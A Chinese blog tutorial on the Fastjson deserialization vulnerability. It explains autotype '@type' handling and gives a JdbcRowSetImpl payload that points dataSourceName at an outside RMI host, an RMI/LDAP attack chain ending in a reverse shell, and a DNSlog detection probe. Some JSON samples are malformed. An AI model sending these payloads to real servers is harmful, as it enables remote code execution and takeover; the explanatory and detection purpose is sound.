fastjson漏洞

目录

一.fastjson的简述

二.fastjson原理

三.fastjson反序列漏洞利用条件:

四.fastjson整个的攻击步骤


一.fastjson的简述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

二.fastjson原理

fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行

首先我们需要知道什么是fastjson格式,以及他序列化的一些形式

json格式数据

一个件,一个值

{

"key1" : "张三",//键:值

"key2" : 大忽悠"

}

也可以嵌套

fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。

json={

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//student是子类哈

}

序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}

这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。

json={

字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//子类

}

上面就是一个抽象理解过程

下面就是具体的代码理解

{

"b":{

"@type":"com.sun.rowset.jdbcRowSetImpl",//

"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源

"autoCommit":true

}

}

1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。

  1. dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。

三.fastjson反序列漏洞利用条件:

1.目标服务器存在fastjson。

2.没有对用户传输的数据进行严格过滤。

四.fastjson整个的攻击步骤

这里用ldap协议

1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。

2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。

3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。

4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。

五.检测

{

"a":{

"@type":"java.net.Inet4Address",//用ipv4来检测。

"val":"获取的dnslog子域名"

}

}

相关推荐
ragnwang11 分钟前
解决 Ubuntu 安装 NVIDIA 固件时的包冲突问题
linux·运维·ubuntu
rengang6611 分钟前
AI驱动的DevOps:AI大模型自动化部署、监控和运维流程
运维·人工智能·ai编程·devops·ai智能体编程
Mr.小海27 分钟前
Kubernetes GPU 运维组件介绍
运维·容器·kubernetes
掘金安东尼43 分钟前
Caddyfile:用最简单的方式配置最现代的 Web 服务器
运维·服务器·前端
CC.GG1 小时前
【Linux】进程概念(四)(命令行参数和环境变量)
linux·运维·服务器
芯盾时代1 小时前
低空经济网络安全的政策体系构建
安全·web安全·网络安全·低空经济
墨燃.2 小时前
江西省第二届职业技能大赛网络安全赛题 应急响应
安全·web安全
木子江L2 小时前
Docker容器启动Nacos
运维·docker·容器
光影少年2 小时前
前端线上出现白屏如何排查问题所在,利用第三方的工具都有哪些
前端·学习·web安全·前端框架
无聊的小坏坏2 小时前
详解 TCP 通信中的序列化与反序列化:从登录场景谈起
服务器·网络·tcp/ip